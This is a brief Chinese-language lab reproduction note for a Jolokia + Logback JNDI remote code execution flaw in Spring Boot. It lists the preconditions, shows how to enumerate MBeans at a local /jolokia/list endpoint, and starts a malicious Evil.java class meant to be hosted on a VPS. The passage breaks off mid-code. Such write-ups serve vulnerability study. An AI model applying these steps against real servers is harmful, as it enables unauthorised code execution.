jolokia logback JNDI RCE
环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce
IDEA打开配置一个Spring Boot程序就可以跑了
漏洞前情
利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖并且环境中存在相关 MBean(如ch.qos.logback.classic.jmx.JMXConfigurator
)
复现过程:
-
访问 http://localhost:9094/jolokia/list 查看所有的MBean,看是否存在
ch.qos.logback.classic.jmx.JMXConfigurator
以及reloadByURL
关键字,存在则可以尝试利用 -
编写恶意类
Evil.java
,并用javac Evil.java
对恶意类进行编译成Evil.class
,放在 VPS 上public class Evil{ public Evil() throws Exception{ Runtime.